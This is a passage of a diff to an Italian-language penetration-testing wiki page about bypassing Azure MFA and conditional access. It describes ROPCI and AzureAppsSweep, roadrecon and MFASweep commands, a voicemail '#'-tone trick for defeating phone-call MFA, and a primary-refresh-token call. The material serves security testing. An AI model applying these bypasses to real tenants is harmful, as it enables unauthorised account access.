prima scaricare l'elenco delle app consentite nel tenant e poi cercherà di accedervi. +Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere utilizzato per testare queste protezioni e vedere se è possibile bypassare le MFA o i blocchi, ma questo strumento funziona da una prospettiva **whitebox**. È necessario prima scaricare l'elenco delle app consentite nel tenant e poi tenterà di accedervi. ## Altri Bypass MFA di Az @@ -86,7 +86,7 @@ Lo strumento [**ROPCI**](https://github.com/wunderwuzzi23/ropci) può essere uti Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono configurato** dove verrà chiesto all'utente di **inviare il carattere `#`**. > [!CAUTION] -> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando si richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica. +> Poiché i caratteri sono solo **toni**, un attaccante potrebbe **compromettere** il messaggio della **segreteria telefonica** del numero di telefono, configurando come messaggio il **tono di `#`** e poi, quando richiede la MFA, assicurarsi che il **telefono della vittima sia occupato** (chiamandolo) in modo che la chiamata di Azure venga reindirizzata alla segreteria telefonica. ### Dispositivi Conformi @@ -105,10 +105,10 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken Trova ulteriori informazioni su questo tipo di attacco nella seguente pagina: {{#ref}} -../../az-lateral-movement-cloud-on-prem/pass-the-prt.md +../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -## Tooling +## Strumenti ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) @@ -118,7 +118,7 @@ Questo è utile per vedere se **non è richiesta MFA per accedere ad alcune appl ### [roadrecon](https://github.com/dirkjanm/ROADtools) -Ottieni tutte le politiche. +Ottieni tutte le politiche ```bash roadrecon plugin policies ``` @@ -131,7 +131,7 @@ Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Questo strumento ha aiutato a identificare i bypass MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. +Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. > [!TIP] > È necessario avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare.